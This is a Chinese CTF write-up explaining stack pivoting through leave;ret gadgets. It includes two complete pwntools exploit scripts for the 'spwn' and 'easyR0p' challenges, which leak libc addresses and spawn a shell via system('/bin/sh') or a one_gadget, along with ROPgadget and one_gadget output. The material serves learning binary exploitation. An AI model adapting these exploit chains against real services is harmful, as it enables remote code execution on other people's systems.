看到了一道栈迁移的题,就来写一下加深印象
未开启NX,且栈溢出大小较小,无法直接泄露libc_base
以32位为例,在使用call这个命令,进入一个函数的时候,程序会进行一系列栈操作:
push eip+4;push ebp;mov ebp,esp;来保护现场,避免执行完函数后堆栈不平衡以及找不到之前的入口地址。leave ret
相当于:
leave ==> mov esp, ebp; pop ebp; ret ==> pop eip
其中pop eip相当于将栈顶数据给eip,由于ret返回的是栈顶数据,而栈顶地址是由esp的值决定的,esp的值,从leave可以得出是由ebp决定的。所以我们可以通过覆盖ebp的值来控制ret返回地址。两次leave ret
即可控制esp为我们想要的地址。由于有pop ebp,会使esp-4,将ebp 覆盖为想要调整的位置-4即可
[Black Watch入群题]spwn
这个题有一个便捷的就是s就是在bss段
#!usr/bin/python from pwn import * from LibcSearcher import * context.log_level = 'debug' ip = "node3.buuoj.cn" port = 29414 io = 0 elf = ELF("./spwn") leave_ret = 0x08048511 bss_s = 0x0804A300 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] read_plt = elf.plt['read'] read_got = elf.got['read'] write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = elf.symbols['main'] # print "main_addr = " +hex(main_addr) def pwn(ip, port, debug): global io if(debug == 1): io = process("./spwn") else: io = remote(ip, port) io.recvuntil("name?") # payload = p32(puts_plt) + p32(main_addr) + p32(puts_got) payload = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) io.send(payload) io.recvuntil("say?") payload = "a" * 0x18 + p32(bss_s-4) + p32(leave_ret) io.send(payload) leak_addr = u32(io.recv(4)) libc = LibcSearcher('write', leak_addr) # libc = LibcSearcher('puts', leak_addr) libc_base = leak_addr - libc.dump('write') # libc_base = leak_addr - libc.dump('puts') sys_addr = libc_base + libc.dump('system') io.recv() payload = p32(sys_addr) + p32(main_addr) + p32(bss_s+4*3) + "/bin/sh\x00" io.send(payload) io.recv() io.send("a" * 0x18 + p32(bss_s-4) + p32(leave_ret)) io.interactive() if __name__ == '__main__': pwn(ip, port, 0)
这里试验泄露puts不行,问了出题人,他说是因为puts很吃栈,导致stack跑到不可写区段了。
与上题的溢出是一样的,但是这个题没有直接写入bss的变量,64位使用寄存器传参
easyr0p$ ROPgadget --binary easyR0p --only "pop|ret" Gadgets information ============================================================ 0x00000000004007cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007ce : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007d0 : pop r14 ; pop r15 ; ret 0x00000000004007d2 : pop r15 ; ret 0x00000000004007cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007cf : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400625 : pop rbp ; ret 0x00000000004007d3 : pop rdi ; ret 0x00000000004007d1 : pop rsi ; pop r15 ; ret 0x00000000004007cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400559 : ret 0x0000000000400655 : ret 0xc148 Unique gadgets found: 12
我们在ida中可以找到调用read的片段。数据x偏移 + ebp + ret可以溢出覆盖ebp的值,达到read到bss的效果。
可以使用system("/bin/sh")或者one_gadget
easyr0p$ one_gadget /lib/x86_64-linux-gnu/libc.so.6 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
#!usr/bin/python # -*- coding: UTF-8 -*- from pwn import * from LibcSearcher import * context.log_level = 'debug' ip = " " port = 0 io = 0 elf = ELF("./easyR0p") leave_ret = 0x000000000040071C bss_start = 0x601100 # 0x0000000000601060 read = 0x00000000004006F5 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] read_plt = elf.plt['read'] read_got = elf.got['read'] pop_rdi = 0x00000000004007d3 # pop rdi ; ret pop_rsi_r15 = 0x00000000004007d1 # pop rsi ; pop r15 ; ret pop_rbp = 0x0000000000400625 # pop rbp ; ret main_addr = elf.symbols['main'] one_gadget = [0x4f2c5, 0x4f322, 0x10a38c] def pwn(ip, port, debug): global io, one_gadget if(debug == 1): io = process("./easyR0p") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") else: io = remote(ip, port) payload = "a" * 0x40 + p64(bss_start+0x60+0x40) + p64(read) # 向 bss_start+0x60 中写入 io.sendafter('$', payload) payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) payload += p64(pop_rbp) + p64(bss_start+0x60+0x40) + p64(read) # leave ret到这里时好继续read system payload += "b" * (0x40-len(payload)) payload += p64(bss_start+0x60-8) + p64(leave_ret) io.send(payload) io.recvuntil('\x0a') io.recvuntil('\x0a') leak_addr = u64(io.recv(6).ljust(8, '\x00')) # leak_addr = u64(io.recv(6)[:-1].ljust(8, '\x00')) print "leak_addr = " +hex(leak_addr) libc_base = leak_addr - libc.sym['puts'] ''' sys_addr = libc_base + libc.sym['system'] print "sys_addr = " +hex(sys_addr) binsh_addr = libc_base + libc.search("/bin/sh").next() ''' one_gadget = libc_base + one_gadget[2] ''' libc = LibcSearcher('puts', leak_addr) libc_base = leak_addr - libc.dump('puts') sys_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump("str_bin_sh") payload = p64(pop_rdi) + p64(binsh_addr) + p64(sys_addr) ''' payload = p64(one_gadget) io.send(payload) io.interactive() if __name__ == '__main__': pwn(ip, port, 1)
参考:
https://blog.csdn.net/lee_ham/article/details/81986906
https://wintersun.space/2016/05/20/pwn-%E5%85%B3%E4%BA%8E%E6%A0%88%E7%9A%84%E8%BF%81%E7%A7%BB/
2020安全开发者峰会(2020 SDC)议题征集 中国.北京 7月!
最后于 2020-3-7 11:06 被plkk编辑 ,原因: